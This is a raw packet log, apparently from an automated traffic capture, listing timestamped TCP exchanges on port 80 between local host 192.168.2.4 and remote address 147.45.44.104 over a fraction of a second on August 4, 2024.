Aug 4, 2024 02:21:36.767008066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767020941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767040014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767050982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767071009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767081976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767105103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767113924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767137051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767147064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767169952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767180920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767203093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767215014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767247915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767739058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767771006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767791033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767802954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767808914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767834902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767838955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767867088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767878056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767899036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767910004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767929077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767941952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767961979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.767970085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.767996073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768007040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768028975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768037081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768060923 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768071890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768094063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768102884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768126011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768138885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768160105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768165112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768202066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768682003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768714905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768735886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768748999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768757105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768781900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768790007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768814087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768826008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768846035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768855095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768877983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768887043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768909931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768919945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768943071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768954039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.768975019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.768985033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769006968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.769018888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769038916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.769049883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769073009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.769085884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769108057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.769112110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769150019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769366026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.769413948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769463062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.769495010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.769505978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769527912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.769539118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769560099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.769568920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769593954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.769603014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769625902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.769634008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.769670010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.806972980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.807024002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.807056904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.807089090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.807117939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.807121992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.807194948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.807204008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.807235956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.807302952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.851654053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.851752043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.851777077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.851802111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.851834059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.851835012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.851859093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.851866007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.851880074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.851898909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.851911068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.851934910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.851944923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.851978064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852042913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852073908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852087975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852106094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852121115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852138996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852148056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852183104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852299929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852332115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852353096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852379084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852386951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852412939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852425098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852457047 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852612019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852643967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852667093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852675915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852683067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852709055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852716923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852741003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852754116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852777004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.852786064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.852819920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853060007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853091002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853111982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853125095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853133917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853157997 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853164911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853190899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853199959 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853223085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853235006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853257895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853269100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853291035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853302956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853323936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853332043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853355885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853365898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853389025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853399038 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853424072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853431940 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853468895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853789091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853822947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853842020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853861094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853873968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853902102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853918076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853936911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.853940010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.853980064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854044914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854075909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854094028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854109049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854119062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854141951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854151011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854175091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854186058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854218960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854434013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854465961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854484081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854497910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854505062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854531050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854548931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854562998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854577065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854594946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854602098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854629040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854633093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854665041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854837894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854868889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854888916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854902029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854907036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854934931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854942083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854965925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.854973078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.854999065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855003119 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.855031967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855036974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.855068922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.855348110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855380058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855396986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.855412960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855416059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.855443954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855448008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.855477095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855482101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.855508089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855515003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.855540991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855545044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.855581045 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.855915070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855947018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855966091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.855978966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.855983019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856007099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856017113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856039047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856045961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856070042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856075048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856102943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856107950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856134892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856138945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856165886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856172085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856199026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856204033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856231928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856235027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856264114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856268883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856295109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856301069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856331110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856333971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856369019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856868029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856900930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856921911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856933117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856940985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856966019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.856973886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.856997967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857003927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857029915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857034922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857063055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857069969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857095003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857100964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857126951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857135057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857160091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857163906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857191086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857198000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857223034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857223988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857254982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857263088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857292891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857781887 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857815027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857847929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857850075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857867956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857881069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857887983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857913971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857939005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857945919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857950926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.857979059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.857994080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.858011007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.858030081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.858042955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.858047009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.858074903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.858079910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.858108044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.858112097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.858139992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.858149052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.858171940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.858180046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.858210087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.858320951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.858364105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.898319006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.898370981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.898376942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.898402929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.898413897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.898444891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.898511887 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.898545027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.898560047 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.898577929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.898586988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.898619890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.898721933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.898772001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.940623999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.940658092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.940701008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.940705061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.940732956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.940741062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.940841913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.940875053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.940887928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.940907001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.940912008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.940948009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:36.940954924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:36.940985918 CEST	80	49757	147.45.44.104	192.168.2.4
